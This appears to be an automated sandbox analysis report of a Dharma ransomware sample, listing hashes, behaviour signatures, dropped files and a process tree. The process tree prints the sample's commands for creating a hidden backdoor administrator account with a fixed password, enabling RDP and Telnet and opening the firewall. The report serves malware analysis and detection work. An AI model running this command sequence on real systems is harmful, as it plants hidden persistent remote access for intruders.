Analysis

  • max time kernel
    147s
  • max time network
    116s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-uk
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-uklocale:uk-uaos:windows10-2004-x64systemwindows
  • submitted
    03-03-2024 13:53

General

  • Target

    Ransomware/Dharma.exe

  • Size

    11.5MB

  • MD5

    928e37519022745490d1af1ce6f336f7

  • SHA1

    b7840242393013f2c4c136ac7407e332be075702

  • SHA256

    6fb303dd8ba36381948127d44bd8541e4a1ab8af07b46526ace08458f2498850

  • SHA512

    8040195ab2b2e15c9d5ffa13a47a61c709738d1cf5e2108e848fedf3408e5bad5f2fc5f523f170f6a80cb33a4f5612d3d60dd343d028e55cfc08cd2f6ed2947c

  • SSDEEP

    196608:JZnMy97vfgla5NX7YaP6uIEJsp+jb4agYSUpHm6g90MrYmhZZoG0tLzr1+W:LnMy9rfma5NrYaVzC0b4vpZZoG0tR+W

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Sets service image path in registry 2 TTPs 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ransomware\Dharma.exe
    "C:\Users\Admin\AppData\Local\Temp\Ransomware\Dharma.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe
      "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        3⤵
          PID:5072
      • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe
        "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe"
        2⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Suspicious behavior: LoadsDriver
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4664
      • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe
        "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3964
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\Shadow.bat" "
        2⤵
          PID:4084
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\systembackup.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3812
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3340
            • C:\Windows\SysWOW64\find.exe
              Find "="
              4⤵
                PID:1948
            • C:\Windows\SysWOW64\net.exe
              net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1016
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
                4⤵
                  PID:1952
              • C:\Windows\SysWOW64\net.exe
                net localgroup Administrators systembackup /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4124
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators systembackup /add
                  4⤵
                    PID:2800
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4896
                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                    WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
                    4⤵
                      PID:1792
                    • C:\Windows\SysWOW64\find.exe
                      Find "="
                      4⤵
                        PID:440
                    • C:\Windows\SysWOW64\net.exe
                      net localgroup "Remote Desktop Users" systembackup /add
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1692
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
                        4⤵
                          PID:2896
                      • C:\Windows\SysWOW64\net.exe
                        net accounts /forcelogoff:no /maxpwage:unlimited
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:660
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
                          4⤵
                            PID:1368
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
                          3⤵
                            PID:2708
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
                            3⤵
                              PID:4388
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
                              3⤵
                                PID:4824
                              • C:\Windows\SysWOW64\attrib.exe
                                attrib C:\users\systembackup +r +a +s +h
                                3⤵
                                • Sets file to hidden
                                • Views/modifies file attributes
                                PID:5052
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh firewall add portopening TCP 3389 "Remote Desktop"
                                3⤵
                                • Modifies Windows Firewall
                                PID:4412
                              • C:\Windows\SysWOW64\sc.exe
                                sc config tlntsvr start=auto
                                3⤵
                                • Launches sc.exe
                                PID:4808
                              • C:\Windows\SysWOW64\net.exe
                                net start Telnet
                                3⤵
                                  PID:4068
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 start Telnet
                                    4⤵
                                      PID:3704
                                • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Enumerates connected drives
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2636

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\Everything.ini

                                Filesize

                                19KB

                                MD5

                                5531bbb8be242dfc9950f2c2c8aa0058

                                SHA1

                                b08aadba390b98055c947dce8821e9e00b7d01ee

                                SHA256

                                4f03ab645fe48bf3783eb58568e89b3b3401956dd17cb8049444058dab0634d7

                                SHA512

                                3ce7e1d7b330cc9d75c3ce6d4531afe6bfa210a0bcbb45d4a7c29aabff79bebf3263fe0b5377956e2f88036b466383f001a7a6713da04a411b1aceb42bc38291

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe

                                Filesize

                                1.2MB

                                MD5

                                6ef42a556d786194ad5bc00e78140bd1

                                SHA1

                                a736b478969b0f64c8ce85ced5ac4cd06f573add

                                SHA256

                                99b0b7d6e917ff9e18ca74fbf2ce93b9e0cb4b6ea99b4083fe5a3feb53d62c15

                                SHA512

                                8bae32f8dde8ac2201684f5c4ff5e5e7593a3808affb8ab108919c30c878354d98536822d0e0bb04632e9a0ddaf6e117aca40e5c725c7fa98138a18a4a6b20da

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe

                                Filesize

                                1.1MB

                                MD5

                                48c3c05e474978dbe05e1cd5b8efa8a1

                                SHA1

                                4d617f1d16d4f2a14506a7109ebbc961872971ee

                                SHA256

                                5450315a060c8832a5be3101126b75350678aa0a7912641f6cfc30c40518ec5a

                                SHA512

                                2fc892dcdedbdfa544c3b1283c832d2805229d0999f76087dfaa01bc35587607a8993477d3f67880d6604c7f6291dc73b4afa3153e9b2d6c58dbae8b9bcd9df0

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe

                                Filesize

                                1.0MB

                                MD5

                                60c5449a75cc0b7762a0b55e51c93575

                                SHA1

                                1a662c2bef418c582ad92dbcf3d9e16390fe258a

                                SHA256

                                1f51cbf7d3e387c16358bb8440119dd204654cadd6b1bae283fb31c8ded75e1a

                                SHA512

                                31b83733ce6519c890eeaf751e6d15b6617af51bba4e476bc549b96bf41d92159bca506eab4b27d1e87c408c23c162231e4a7ce01ba16bd4768a34e7848a23d1

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\Shadow.bat

                                Filesize

                                28B

                                MD5

                                df8394082a4e5b362bdcb17390f6676d

                                SHA1

                                5750248ff490ceec03d17ee9811ac70176f46614

                                SHA256

                                da3f155cfb98ce0add29a31162d23da7596da44ba2391389517fe1a2790da878

                                SHA512

                                8ce519dc5c2dd0bbb9f7f48bedf01362c56467800ac0029c8011ee5d9d19e3b3f2eff322e7306acf693e2edb9cf75caaf7b85eb8b2b6c3101ff7e1644950303d

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe

                                Filesize

                                10.2MB

                                MD5

                                f6a3d38aa0ae08c3294d6ed26266693f

                                SHA1

                                9ced15d08ffddb01db3912d8af14fb6cc91773f2

                                SHA256

                                c522e0b5332cac67cde8fc84080db3b8f2e0fe85f178d788e38b35bbe4d464ad

                                SHA512

                                814b1130a078dcb6ec59dbfe657724e36aa3db64ed9b2f93d8559b6a50e512365c8596240174141d6977b5ddcf7f281add7886c456dc7463c97f432507e73515

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe

                                Filesize

                                4.0MB

                                MD5

                                1dc6fe7c3efa951a860416b0a65f70d4

                                SHA1

                                490be97030b3be8605877b2aa6a1dd124ad6b037

                                SHA256

                                7f11aaec06708bcb0033dcc478a51ae8715faecafa520e09049f4f9cf4d0b53d

                                SHA512

                                483db4449931615f65963a8c9e52f2b6a92ad6b77827550b79647e72d9bc480f47b457277cff1256f82dfa6a1766d58174b206895991e6f22ef4f61661c69ac6

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe

                                Filesize

                                3.4MB

                                MD5

                                5027d67863abf36371006646ff6dd1df

                                SHA1

                                f0936938005751c3076a1348173c87ceb1f7c816

                                SHA256

                                7004d14b834f43d57cbe03878b20e3907256f4510307875531c03b772f5de9f2

                                SHA512

                                e9898f7012d3f79e2546eed070b4ba052af77ac24c538224412052c84654c0ed4ef4b1fe50b6ff7cb21445581da0c1168925f91425a6ff313a63b35eeaab3a4f

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe

                                Filesize

                                3.9MB

                                MD5

                                79db3c991fc35a03a82b42db51f6089b

                                SHA1

                                7a193e743cdcb24d6b115ebe654e193ef7cb5d67

                                SHA256

                                211c9cd213fecfa735049b7522edda3509975e361265a793ea4212601ebe5940

                                SHA512

                                0e8389d0c26282909ec4931a287e733f165374906de2a4a25516b7b1a55a592999bbba3a86ed1afd599364922d78eeb8fc8c56b79a2decc8a0a0ac7477ca3565

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe

                                Filesize

                                1.5MB

                                MD5

                                1c4d6fa7e123e15b0fb9aea3bc376b0f

                                SHA1

                                6550b8ce65bb040446aa1fb7bef5c2e04aa6a5ee

                                SHA256

                                18b23205490a57d9de4de0e8b1cdc5b6d25afaab9e020e17d348c9481e3387ad

                                SHA512

                                f891693afa9a4fef9203d7c0f33cf76276ad899e6cef16d384d5ddc276eefcb9d2ac19e5cf061cc78059f2efb71892c99e2d6056c70d83080f23d4cd8fafe699

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe

                                Filesize

                                1.4MB

                                MD5

                                32e8c95de42cdddb5fbb93c8777b706c

                                SHA1

                                9559bf37d8bcd6785e30c3bbce25208d372952ca

                                SHA256

                                86958c2d5c93a3a769558c70f4e8aecd91800ab165279fe49b72c40fd8528b2a

                                SHA512

                                d7a1e54417f3c31f8076c2518a78ff6739a22ac0126c03dc3a7a04b74670819c2fe7f944e4bbc364edcc983bac7d52cb6c1a3c7f252dd771b3f3bc1b3034ee1e

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe

                                Filesize

                                125KB

                                MD5

                                597de376b1f80c06d501415dd973dcec

                                SHA1

                                629c9649ced38fd815124221b80c9d9c59a85e74

                                SHA256

                                f47e3555461472f23ab4766e4d5b6f6fd260e335a6abc31b860e569a720a5446

                                SHA512

                                072565912208e97cc691e1a102e32fd6c243b5a3f8047a159e97aabbe302bddc36f3c52cecde3b506151bc89e0f3b5acf6552a82d83dac6e0180c873d36d3f6b

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\qeglhdnziuhvrcddu.sys

                                Filesize

                                674KB

                                MD5

                                b2233d1efb0b7a897ea477a66cd08227

                                SHA1

                                835a198a11c9d106fc6aabe26b9b3e59f6ec68fd

                                SHA256

                                5fd17e3b8827b5bb515343bc4066be0814f6466fb4294501becac284a378c0da

                                SHA512

                                6ca61854db877d767ce587ac3d7526cda8254d937a159fd985e0475d062d07ae83e7ff4f9f42c7e1e1cad5e1f408f6849866aa4e9e48b29d80510e5c695cee37

                              • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\systembackup.bat

                                Filesize

                                1KB

                                MD5

                                b4b2f1a6c7a905781be7d877487fc665

                                SHA1

                                7ee27672d89940e96bcb7616560a4bef8d8af76c

                                SHA256

                                6246b0045ca11da483e38317421317dc22462a8d81e500dee909a5269c086b5f

                                SHA512

                                f883cea56a9ac5dcb838802753770494ce7b1de9d7da6a49b878d534810f9c87170f04e0b8b516ae19b9492f40635a72b3e8a4533d39312383c520abe00c5ae6

                              • memory/3964-158-0x0000000075800000-0x00000000758F0000-memory.dmp

                                Filesize

                                960KB

                              • memory/3964-155-0x0000000000400000-0x0000000000B02000-memory.dmp

                                Filesize

                                7.0MB

                              • memory/3964-164-0x0000000000400000-0x0000000000B02000-memory.dmp

                                Filesize

                                7.0MB

                              • memory/3964-173-0x0000000075800000-0x00000000758F0000-memory.dmp

                                Filesize

                                960KB

                              • memory/4664-163-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                Filesize

                                10.8MB

                              • memory/4664-165-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                Filesize

                                10.8MB

                              • memory/4664-174-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                Filesize

                                10.8MB